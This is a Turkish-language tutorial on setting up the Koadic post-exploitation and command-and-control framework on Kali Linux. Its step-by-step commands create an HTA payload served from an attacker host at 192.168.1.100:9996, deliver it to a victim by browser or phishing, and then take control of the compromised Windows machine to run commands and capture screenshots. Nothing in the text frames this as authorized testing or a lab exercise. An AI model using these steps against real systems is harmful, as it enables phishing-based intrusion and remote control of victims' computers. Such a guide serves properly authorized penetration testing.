**Koadic**, Windows hedeflere yönelik bir **post-exploitation ve C2 (Command & Control)** framework’üdür. Metasploit’e benzer, fakat **JavaScript tabanlı HTA (HTML Application)** payload’lar kullanarak Windows içinde **WMI, PowerShell ve komut satırı** üzerinden kontrol sağlar.

Koadic, sistemde komut çalıştırma, dosya indirme/yükleme, mimikatz entegresi, ekran görüntüsü alma ve benzeri işlemleri modüler bir yapıyla sunar.

**Bu Aracın Özellikleri Nelerdir?**

* **HTA payload** ile kullanıcı etkileşimli saldırı
* **WMI tabanlı etkileşim**
* **PowerShell veya .NET’e ihtiyaç duymadan çalışabilir**
* **Mimikatz, shell, screenshot, persistence gibi modüller**
* **Python3 tabanlı, CLI arayüzü**
* **Kullanıcı dostu Metasploit benzeri komut seti**

**Koadic Aracını Kali Linux’ta Kurma ve Kullanma Adımları**

**Adım 1: Koadic’i Kali’ye Klonla**

“git clone https://github.com/zerosum0x0/koadic.git”

“cd koadic”

**Adım 2: Gerekli Python Paketlerini Kur**

“sudo apt install python3-pip -y”

“pip3 install -r requirements.txt”

**Adım 3: Koadic C2 Sunucusunu Başlat**

“python3 koadic.py”

metin, yazı tipi, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 4: HTA Payload Oluştur (exploit/windows/misc/hta)**

“use exploit/windows/misc/hta”

“set SRVHOST 192.168.1.100

set SRVPORT 9996

set LHOST 192.168.1.100

set LPORT 9996

run”

**Adım 5: Hedef Sistemde Payload’ı Çalıştır**

Tarayıcıdan veya phishing yöntemiyle http://192.168.1.100:9996/hta adresine erişilerek hedefte payload tetiklenir.

**Adım 6: Bağlanan Zombie ile Etkileşime Gir**

“zombies”

“interact 0”

**Adım 7: Komut Çalıştır (cmd\_exec)**

“use implant/exec/cmd

set CMD whoami

run”

**Adım 8: Ekran Görüntüsü Al (screenshot)**

“use implant/gather/screenshot”

“run”